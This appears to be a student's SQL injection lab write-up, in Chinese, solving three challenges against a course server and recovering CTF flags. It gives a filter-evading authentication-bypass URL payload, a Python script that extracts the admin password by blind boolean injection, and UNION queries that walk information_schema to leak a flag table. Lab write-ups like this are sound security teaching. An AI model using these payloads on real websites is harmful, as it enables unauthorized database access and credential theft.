Lab 8

1.
第一題，我主要利用3>1必定正確的性值，再加上LIMIT 1,1去選admin這個user，並繞過特定字元。
以下是我的request:
https://me.zongyuan.nctu.me/sqlinject/sql.php?password=%27%09or%093%3E1%09LIMIT%091,1%09%23

query : **select * from user_table where id='guest' and password='' or 3>1 LIMIT 1,1 #'**

Hello admin

balqs{OH_NO_you_hack_me}

```
<?php
  include "./config.php";
  $con = dbconnect();
```

2.
第二題，我先利用ascii(mid(password, x, 1))>0，去找admin的password長度會是多少。
如果x為8時，網頁沒有顯示hello admin，則表示password的長度為7。
此處我得出的長度是17。
接著再用script去暴力猜flag。

```
while(count <= 17):
        ascii = 60
        while(ascii <= 126):
                url = 'https://me.zongyuan.nctu.me/sqlinject/sql.php?password=%27%09or%09(3%3E1%09%26%26%09ascii(mid(password,%09' + str(
count) + ',%091))>' + str(ascii) + ')%09%23'
                r = requests.get(url,verify=False)
                if(r.text.find('<h2>Hello admin</h2>balqs{OH_NO_you_hack_me}') != -1):
                        ascii = ascii + 1
                else:
                        #print(count)
                        ans.append(ascii)
                        break
        count = count + 1
```

最後得出的flag是balqs{i_am_bind?}

3.
首先去leak database name

query : **select * from user_table where id='guest' and password='' or 3>1 UNION select schema_name,1 FROM information_schema.schemata LIMIT 3,3 #'**

Hello flag_is_here

```
<?php
  include "./config.php";
  $con = dbconnect();

  if(preg_match('/user|char|@/i', $_GET[password])) exit("Dont Hack ME");
  if(preg_match('/and|=/i', $_GET[password])) exit("try another one");
  if(preg_match('/ /i', $_GET[password])) exit("keep trying");
```

得到database name之後，利用得到的database name做為條件，去leak table name

query : **select * from user_table where id='guest' and password='' or 3>1 UNION select table_name,1 FROM information_schema.tables WHERE table_schema LIKE 'flag_is_here' LIMIT 2,1 #**

Hello secret

```
<?php
  include "./config.php";
  $con = dbconnect();
```

得到table name之後，再利用table name做為條件，去leak column name

query : **select * from user_table where id='guest' and password='' or 3>1 UNION select column_name,1 FROM information_schema.columns WHERE table_name LIKE 'secret' LIMIT 2,1**

Hello flag

```
<?php
  include "./config.php";
  $con = dbconnect();
```

得到flag所處的database、table、column之後，就去查詢位在該處的flag資料

query : **select * from user_table where id='guest' and password='' or 3>1 UNION select flag,1 FROM flag_is_here.secret LIMIT 2,2 #'**

Hello balqs{schema_power}

```
<?php
  include "./config.php";
```